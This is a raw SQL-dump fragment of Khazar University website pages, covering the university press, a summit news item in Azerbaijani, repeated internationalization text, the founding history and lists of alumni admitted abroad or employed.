2015.&nbsp;</p>\r\n<p><a href=\"http://dspace.khazar.org/jspui/handle/123456789/215\">Khazar\r\nJournal of Mathematics</a> is a quarterly journal publishing original peer\r\nreviewed articles and surveys on general methods and techniques of modern\r\nmathematics with special emphasis on its applications.</p>\r\n<p><a href=\"http://dspace.khazar.org/jspui/handle/123456789/160\">Azerbaijani\r\nArcheology Journal</a> has been publishing by the Department of History and\r\nArchaeology of Khazar University since 1999. It covers essentials, methodology,\r\ncontemporary problems and achievements of archaeology as well as\r\npublishingtheoretical works, field studies and popular articles related to\r\nAzerbaijan and world archaeology.</p>'),(35,35,'en','Khazar University Press','Khazar University Press','<p>Khazar University Press, an independent publishing house affiliated with Khazar University,produces printed publications related to educational and research fields.</p><p>The publishing house mainly produces textbooks, monographs, conference transactions, scholarly journals, magazines, and other quality</p><p>prose works.</p><p>It also publishes works translated from English and other languages into Azerbaijani and vice versa.</p><p>Since its founding in 1995, the Khazar University Press has been publishing the magazine (with a wide range of fields) Khazar Review</p><p>(Azerbaijani: Xəzər Xəbər jurnalı) in three languages (English, Azerbaijani, and Russian).</p><p>The publishing house is also known for the academic Journal of Azerbaijani Studies (Azərbaycan Araşdırmaları Jurnalı), which was renamed</p><p>Khazar Journal of Humanities and Social Sciences in 2011, and the Azerbaijan Archeology Journal (Azərbaycan Arxeologiyası jurnalı).</p><p>Khazar University Press also acts as the national ISBN agent for Azerbaijan as well as its national ISMN agent.</p><p><a href=\"http://www.khazar.org/en/menus/76/isbn_ismn_services\"><strong>ISBN/ ISMN Services</strong></a>&nbsp;</p>'),(1355,860,'az','“Xəzər”in əməkdaşı 19-cu Avrasiya İqtisadiyyat Sammitində','2016-cı il aprelin 5-dən 7-nə kimi İstanbulda 19-cu Avrasiya İqtisadiyyat Sammiti keçirildi. Həmin tədbirdə Xəzər Universiteti İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli nümayəndə kimi ştirak edirdi. Tədbirdə dünyanın 44 ölkəsindən 450 nümayəndə olmaqla, müxtəlif ölkələrdən prezidentlər, baş nazirlər, nazirlər və millət vəkilləri iştirak edirdilər. Tədbirin ilk günü Ə.Əmirbəyli Türkiyə Cümhuriyyəti Baş nazirinin müavini Tuğrul Türkeş ilə görüşdü. O, T.Türkeşə Xəzər Universiteti haqqında geniş məlumat verdi, onunla müxtəlif məsələlərin müzakirəsini həyata keçirdi.','<p>2016-cı il\r\naprelin 5-dən 7-nə kimi İstanbulda 19-cu Avrasiya İqtisadiyyat Sammiti<strong> </strong>keçirildi.\r\nHəmin tədbirdə Xəzər Universiteti İctimai əlaqələr və media üzrə direktoru\r\nƏlövsət Əmirbəyli nümayəndə kimi ştirak edirdi. Tədbirdə dünyanın 44 ölkəsindən\r\n450 nümayəndə olmaqla, müxtəlif ölkələrdən prezidentlər, baş nazirlər, nazirlər\r\nvə millət vəkilləri iştirak edirdilər. Tədbirin ilk günü Ə.Əmirbəyli Türkiyə\r\nCümhuriyyəti Baş nazirinin müavini Tuğrul Türkeş ilə görüşdü. O, T.Türkeşə Xəzər\r\nUniversiteti haqqında geniş məlumat verdi, onunla müxtəlif məsələlərin müzakirəsini\r\nhəyata keçirdi.</p>\r\n<p>Zirvə Toplantısının\r\n2-ci günü müxtəlif ölkələrin prezidentlərinin dünyada yaranmış gərgin vəziyyətlə\r\nbağlı siyasi mesajları oldu. Azərbaycan Respublikası adından Diasporalarla İş\r\nüzrə Dövlət Komitəsinin sədri Nazim İbrahimov çıxış etdi. Türkiyə Cümhuriyyəti\r\nBaş nazirinin müavinləri Mehmet Şimşek və Tuğrul Türkeş Türkiyə dövləti adından\r\nçıxış etdilər. Sammitdə çıxış edən dövlət rəsmləri Ermənistanın Azərbaycana\r\nolan təcavüzünü qəti şəkildə pislədilər və Azərbaycan torpaqlarının bütövlüyü\r\nuğrunda həyatını qurban vermiş şəhidlərin ruhuna fatihə oxudular. Həmin gün\r\nzirvənin fəxri qonağı Türkiyə Cümhuriyyətinin keçmiş prezidenti Abdullah Gül də\r\ntədbirdə iştirak etdi və bir sıra siyasi mesajlar verdi – hər zaman Azərbaycanın\r\nyanında olduqlarını bildirdilər. </p>\r\n<p>Zirvə toplantısının\r\n3-cü günü əsas mövzu terror məsələsi idi. Bu məsələnin müzakirəsində bütün\r\nQafqazın şeyxi Allahşükür Paşazadə, Ekümenik patriki Patrik Bartholomeos,\r\nİordaniyanın Baş naziri Taher Eh-Maşri, Belçikanın Dövlət naziri Emir Kır,\r\nBelçikanın millət vəkili Ozlem Özen, Hollandiya senatoru Rene Van Der Linden,\r\nAvstriya Müdafiə naziri Werner Fasslorbend, Türkiyə Cümhuriyyəti Avropa Birliyi\r\nvə sabiq dövlət naziri Eğemen Bağış, Bosniya və Herseqovina Federasiyası sədrinin\r\nmüavini Melika Mahmutbeqoviç və Bosniya-Hersek Federasiya Başqanı Marinko\r\nCovana, İstanbul valisi Vasip Şahin və digər rəsmlər çıxış etdilər. Onlar\r\ndünyanın baş bəlası olan terrorun tezliklə aradan qaldırılmasını tələb etdilər.\r\nZirvə toplantısında Azərbaycan Parlamentinin sədr müavini Valeh Ələsgərov,\r\nEnergetika naziri Natiq Əliyev, Diasporalarla İş üzrə Dövlət Komitəsinin sədri\r\nNazim İbrahimov, bütün Qafqazın şeyxi şeyxülislam Allahşükür Paşazadə, millət vəkili\r\nNizami Cəfərov, Azərbaycanın Türkmənistandakı Fövqəladə və Səlahiyyətli səfiri\r\nHəsən Zeynalov iştirak edirdilər.</p>\r\n<p>Zirvə\r\ntoplantısının sonunda tədbirin təşkilatçıları adından Mərmərə Qrupu Başqanı\r\nDr.Akkan Suver tədbirdə iştirak edən dövlət başçılarına və nümayəndələrə dərin\r\ntəşəkkürünü bildirdi.</p>'),(37,37,'en','EVENTS / ANNOUNCEMENTS','EVENTS / ANNOUNCEMENTS','<h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n                <strong>The internationalization processes take place in the following areas:</strong>\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n                </ul>\r\n                <p>\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>'),(38,38,'en','Motivation Letter Training - Photos','The Film and Animation School of Khazar University is proud to announce that Next Limit Technologies, a software development company, granted 13 licenses of their powerful simulation software...\r\n','<h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n                <strong>The internationalization processes take place in the following areas:</strong>\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n                </ul>\r\n                <p>\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>'),(39,39,'en','Vacancy Announcement','Khazar University (Baku, Azerbaijan) is proud to announce a brand new peer-reviewed scholarly journal, the...\r\n','                <h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n\r\n                <b>The internationalization processes take place in the following areas:</b>\r\n\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n\r\n                </ul>\r\n\r\n                <p>\r\n\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>\r\n'),(40,40,'en','Vacancy Announcement','Khazar University (Baku, Azerbaijan) is proud to announce a brand new peer-reviewed scholarly journal, the...\r\n','                <h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n\r\n                <b>The internationalization processes take place in the following areas:</b>\r\n\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n\r\n                </ul>\r\n\r\n                <p>\r\n\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>\r\n'),(41,41,'en','Vacancy Announcement','Khazar University (Baku, Azerbaijan) is proud to announce a brand new peer-reviewed scholarly journal, the...\r\n','                <h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n\r\n                <b>The internationalization processes take place in the following areas:</b>\r\n\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n\r\n                </ul>\r\n\r\n                <p>\r\n\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>\r\n'),(42,42,'en','Vacancy Announcement','Khazar University (Baku, Azerbaijan) is proud to announce a brand new peer-reviewed scholarly journal, the...\r\n','                <h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n\r\n                <b>The internationalization processes take place in the following areas:</b>\r\n\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n\r\n                </ul>\r\n\r\n                <p>\r\n\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>\r\n'),(43,43,'en','Motivation Letter Training - Photos','The Film and Animation School of Khazar University is proud to announce that Next Limit Technologies, a software development company, granted 13 licenses of their powerful simulation software...\r\n','                <h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n\r\n                <b>The internationalization processes take place in the following areas:</b>\r\n\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n\r\n                </ul>\r\n\r\n                <p>\r\n\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>\r\n'),(44,44,'en','Motivation Letter Training ','The Film and Animation School of Khazar University is proud to announce that Next Limit Technologies, a software development company, granted 13 licenses of their powerful simulation software...\r\n','<h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n                <strong>The internationalization processes take place in the following areas:</strong>\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n                </ul>\r\n                <p>\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>'),(45,45,'en','History','History','<h3><strong><strong>Foundation</strong>&nbsp;</strong></h3><p style=\"text-align:justify\">Khazar University was established on March 18, 1991 according to resolution&nbsp;N41 of the Cabinet of the Ministers of Azerbaijan Republic as Azerbaijan University with English as a medium of instruction to satisfy a great necessity of the country in qualified English speaking specialists.</p><p style=\"text-align:justify\">In 1992 Azerbaijan University was renamed to Khazar University according to the decision of the Academic Council of the University.&nbsp;</p><p style=\"text-align:justify\">The excerpts of official resolutions by which Khazar University was established are given below:&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Republic of Azerbaijan</strong></p><p><strong>Cabinet of Ministers&nbsp;</strong></p><p>Resolution\r\nN 286&nbsp;</p><p>20\r\nDecember 1990, Baku&nbsp;</p><p style=\"text-align:justify\">On the Preparatory Works for Establishment of Azerbaijan University (Khazar University-Ed.), where the Medium of Instruction is Primarily English. It is expedient to establish a multi-profile Azerbaijan University (Khazar University - Ed.) with the English language as primary medium of instruction.The education system in this University will be based on two-cycle system (Bachelor\'s and Master\'s degrees - Ed.), according to international standards. It is intended to organize the first enrollment to the university in the 1991-1992 academic year in the following four fields of studies, consisting of 15-20 students in each of them:&nbsp;</p><p><br></p><ul><li>Economics and management&nbsp;</li><li>Computer, statistics and mathematical sciences&nbsp;</li><li>International relations and political sciences&nbsp;</li><li>Ecology</li><li>fields at the university in the future.</li></ul><br><br><p>It is advisable also to train specialists in medicine, biology and other&nbsp;fields at the university in the future.&nbsp;</p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong>Prime\r\nMinister&nbsp;H.Hassanov&nbsp;</strong></p><p>Resolution N 41</p><p>18 March 1991, Baku&nbsp;</p><p style=\"text-align:justify\">On Establishment of Azerbaijan University (Khazar University - Ed.), where the Medium of Instruction is Primarily English Taking into consideration the great need of the Republic of Azerbaijan in highly qualified specialists, the Cabinet of Ministers of the Republic of Azerbaijan resolves:&nbsp;</p><p style=\"text-align:justify\">to establish multidisciplinary Azerbaijan University, where the medium of instruction will be English. the University is a legal entity functioning due to its own constitution.&nbsp;</p>  <p><strong><br></strong></p>\r\n<p><strong><br></strong></p><p><strong>Prime Minister&nbsp;H.Hassanov</strong></p>\r\n<p><strong>Excerpt\r\nfrom University Council decision&nbsp;of February 1992:&nbsp;</strong></p><p>Azerbaijan\r\nUniversity, where medium of instruction is English,  shall\r\nbe renamed to \"Khazar* University\".  <br></p><p style=\"text-align:justify\">For\r\nofficial approval of the new name of the University, all related organizations,\r\nincluding the State Accreditation Commission, shall  be\r\ninformed of this decision.&nbsp;</p><p style=\"text-align:justify\"><strong><br></strong></p><p><strong>Chairman\r\nHamlet Isakhanli&nbsp;</strong></p><br><h3><strong><br></strong></h3><h3><strong>Recognition&nbsp;</strong></h3><p style=\"text-align:justify\">On April 10, 1993 the 0/1st resolution of the State Accreditation Commission of the Ministry of Education endowed Khazar University the right to train specialists in various fields of Sciences and&nbsp;Engineering, Arts and Humanities, Social Studies, Law, Management, Medicine.</p><p style=\"text-align:justify\">In 1995 Khazar University was accredited by the State Accreditation Commission for Private Universities. All schools of the University received full accreditation.&nbsp;</p><p style=\"text-align:justify\">In 1997 the Khazar University academic programs including graduate programs were fully accredited by the Ministry of Education and Council of Ministers.&nbsp;</p><p style=\"text-align:justify\">On July 10, 2002 all academic programs of Khazar University were fully accredited by the Ministry of Education.&nbsp;</p><p style=\"text-align:justify\">Mutual recognition of Khazar University and a number of leading universities in North America, Europe and Asia has taken place worldwide in the form of agreements between the universities. Currently Khazar University runs various student and faculty exchange programs, as well as university development and other partnership programs.&nbsp;</p><p style=\"text-align:justify\">In 2004, industry partners evaluated the capacity for development of university-industry relations among Azerbaijani higher education institutions.&nbsp;Khazar University was the best, according to these reports.&nbsp;</p><p style=\"text-align:justify\">In 2006, within the framework of the Visiting Advisors Program of Salzburg Seminar, a group of European and American experts visited Khazar University for assessment and produced a positive evaluation report on Khazar’s current situation and future perspectives as a model of a modern higher education institution.&nbsp;</p><p style=\"text-align:justify\">In April 2011 all academic programs of Khazar University were fully reaccredited by the Ministry of Education.</p><p style=\"text-align:justify\"><strong><strong><br></strong></strong></p><p style=\"text-align:justify\"><strong><strong>Khazar University is:</strong>&nbsp;</strong>A private educational institution for undergraduate, graduate and professional studies promoting advanced study and&nbsp;research, educational policy and development in the Republic of Azerbaijan.&nbsp;Khazar is the first private University in Azerbaijan and in the countries of the former Soviet Union. The first in Azerbaijan to apply a flexible credit-based education model.&nbsp;The first University in Azerbaijan where the main language of instruction is English.&nbsp;The first University in Azerbaijan composed of multiple independent schools united by the same academic policy and principles, which offer a wide scope of diverse majors in Arts, Humanities and Social Sciences, Architecture, Engineering and Applied Sciences, Economics, Management and Business Administration, Law, Education, Medicine, and Public Health.&nbsp;A research-oriented university.&nbsp;Also one of the leading universities in Azerbaijan in terms its relations with industry. Today the University has established effective relations with the leading local and international companies.&nbsp;</p><p style=\"text-align:justify\">Professors of Khazar have earned recognition and leadership in their professional fields or are business leaders, artists and lawyers with national and international reputations.&nbsp;</p><p style=\"text-align:justify\">Graduate studies including Professional, Ph.D. and Master programs, and the most extensive MBA program in Azerbaijan, have an important place in the University\'s education profile.&nbsp;</p><p style=\"text-align:justify\">Khazar has a good learning environment and friendly people.&nbsp;</p>\r\n<p>One-on-one contact with professors, personal attention to every student and quality of education in a small-size private institution are among the main characteristics of Khazar University.</p><br>  <h3><strong><a href=\"http://www.khazar.org/files/pdf/Xezerin_sora%C4%9F%C4%B1nda.pdf\">In Search of \"Khazar\" by Hamlet Isakhanli</a></strong></h3><p><img src=\"http://www.khazar.org/files/image/xezerinsoraginda_H.Isaxanli.jpg\" style=\"border:0px #000000;width:150px;height:214px;margin:8px 12px 0px 0px;float:left\"></p><p style=\"text-align:justify\">The realities of events associated with the establishment and development of Khazar University have left indelible traces in my memory. I intend to pass these events to you in their entirety and in all sincerity. I hope I can relive together with you, readers, those days spent in ‘search of \"Khazar\" Azerbaijan, Baku, Khazar University press 2006. ISBN10 9952-20-034-X ISBN13 978-9952-20-034-8   <br></p>'),(2462,1490,'en','Alumni Stories','Alumni Stories','<h3>An interview of Khazar University graduate is posted<br></h3><p>On October 30, 2018, an interview with Emin Rustamov, a Khazar University graduate, who is currently a PhD candidate in Italy, was posted on official website of newspaper “Palitra”.</p><p>The interview is available through the following link:</p><p><a href=\"http://palitranews.az/news.php?id=94360\">http://palitranews.az/news.php?id=94360</a>.</p><p><br></p>\r\n<hr>\r\n<h3>The recent graduates (BS) of the School of Engineering and Applied Sciences will continue their education at prestigious universities of the world</h3>\r\n<p>Some undergraduates, 2017/2018 Academic year, of the School of Engineering and Applied Sciences of Khazar University have been admitted to Master’s degree programmes (scholarship and non scholarship) at various prestigious universities of the world.&nbsp;</p><p>We present those students:<br></p><p><strong><img src=\"/files/engineering/images/narmin_s.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Narmin Salimova</strong></p><p><strong></strong><strong>University:&nbsp;</strong>Grenoble Alpes University, France</p><p><strong>Major</strong>: Chemical Engineering (Nanoscience and Nanotechnologies)</p><p><strong>Scholarship program</strong></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/nazrin_ba.jpg\" style=\"float:left;width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nazrin Babashova</strong></p><p><strong>University:&nbsp;</strong>Linnaeus University, Sweden</p><p><strong>Major</strong>: Chemical Engineering (Sustainable Energy Process)</p><p><strong>Scholarship</strong> <strong>program</strong><br></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"http://www.khazar.org/files/engineering/images/tarlan_h.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:148px\">Tarlan Hasanli</strong></p><p><strong>University:&nbsp;</strong>Tartu University, Estonia</p><p><strong>Major:</strong>  Computer Engineering</p><p><strong>Scholarship&nbsp;<strong>program</strong>  </strong></p><p><strong><br></strong></p><p><br></p><p><strong><img src=\"http://www.khazar.org/files/engineering/images/latif_g.jpg\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Latif Guliyev</strong></p><p><strong>University:&nbsp;</strong>Eötvös Loránd University&nbsp;(ELTE), Hungary</p><p><strong>Major</strong>:&nbsp;Computer Science</p><p><strong>Scholarship&nbsp;<strong>program</strong>  </strong></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/lamiye_m.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Lamiya&nbsp;Mammadova</strong></p><p><strong style=\"font-weight:bold\">University:&nbsp;</strong>City University of London, UK<br></p><p><strong>Major:</strong>&nbsp;Computer&nbsp;Engineering (Cyber Security)  </p><p><strong>Scholarship&nbsp;<strong>program</strong>  </strong></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/adil_b.jpg\" style=\"float:left;width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Adil Babayev</strong></p><p><strong></strong><strong>University:</strong>&nbsp;Budapest University of Technology and Economics, <br>Hungary</p><p><strong>Major:</strong>&nbsp;Electronics (Transportation Engineering)  </p><p><strong>Scholarship&nbsp;<strong>program</strong>  </strong></p>  <p><strong><br></strong></p><p><br></p><strong></strong><p><strong>Beydulla Zeynalov</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/beydulla_z.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>University</strong>:&nbsp;Óbuda University, Hungary</p><p><strong>Major</strong>: Computer Engineering</p><p><strong>Scholarship</strong> <strong>program</strong><br><strong></strong></p><p><strong><br></strong></p><p><br></p><p><br></p><p><strong><img src=\"http://www.khazar.org/files/engineering/images/sultan_i.jpg\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Sultan Ismayilov</strong></p><p><strong></strong><strong>University</strong>: Ruhr University Bochum,&nbsp;Germany</p><p><strong>Major</strong>: Civil Engineering (Computational Engineering)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/engineering/images/nijat_a.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:189px\"><strong>Nijat Aliyev</strong></p><p><strong></strong><strong>University</strong>: Opole&nbsp;University, Poland</p><p><strong>Major</strong>: Civil Engineering (Construction&nbsp;Management)  </p>  <p><strong>Scholarship</strong>&nbsp;<strong>program</strong>  <br></p><p><br></p><p><br></p><p><br></p><p><strong><strong>Arsham Sarshogh</strong></strong><strong><strong><img src=\"http://www.khazar.org/files/engineering/images/arsham_s.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:227px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></strong></p>\r\n<p><strong></strong><strong>University</strong>:&nbsp;Alberta University, Canada</p><p><strong>Major</strong>: Computer Engineering</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>  \r\n<h3>Graduates and students of the School of Engineering and Applied Sciences have been employed by prestigious companies of the country</h3>\r\n<p>Graduates of the School of Engineering and Applied Sciences of Khazar University, 2016 and 2018, have been employed by “Schlumberger” company. Moreover, some of the students attending \"Summer Internship\" at the Ministry of Transport, Communications and High Technologies, “Aztelecom” LLC and \"STP\" LLC (Sumgait Technologies Park) have successfully completed the program and been employed.</p><p>The names of the employed students and graduates are as follows:<br></p>  <p><img src=\"/files/engineering/images/alavaz_g1.jpg\" style=\"border:0px #000000;float:left;width:150px;height:241px;margin-right:7px;margin-left:7px\"><strong>Alavaz Gadimov</strong></p><p>Specialty of Electronics and Telecommunication Engineering</p><p><strong>“Schlumberger\" company</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p style=\"text-align:left\"><img src=\"http://www.khazar.org/files/engineering/images/alikram_h.jpg\" style=\"border:0px #000000;width:150px;height:202px;vertical-align:baseline;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><strong>Alikram Hasanli</strong></p><p>Specialty of Electronics and Telecommunication Engineering</p><p><strong>\"Schlumberger\" company</strong>    </p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><img src=\"http://www.khazar.org/files/engineering/images/Lala_m.jpg\" style=\"border:0px #000000;vertical-align:baseline;width:150px;height:187px;margin-right:7px;float:left;margin-left:7px;margin-bottom:7px\"><p><strong>Lala Muslumzadeh</strong><br></p><p>Specialty of Chemical Engineering</p><p><strong>\"Schlumberger\" company</strong>    </p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><img src=\"http://www.khazar.org/files/engineering/images/yusif_a.jpg\" style=\"float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>Yusif Alakbarli</strong></p><p>Specialty of Oil and Gas Engineering</p><p><strong>“Schlumberger” company</strong><br></p><p><strong><br></strong></p>  <p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><br></p><img src=\"http://www.khazar.org/files/engineering/images/rashid_s.jpg\" style=\"border:0px #000000;vertical-align:baseline;width:150px;height:205px;margin-right:7px;float:left;margin-left:7px;margin-bottom:7px\"><p><strong style=\"font-weight:bold\">Rashid Salmanov&nbsp;</strong></p><p>Specialty of Oil and Gas Engineering&nbsp;(Graduate&nbsp;of 2016)</p><p><strong>\"Schlumberger\" 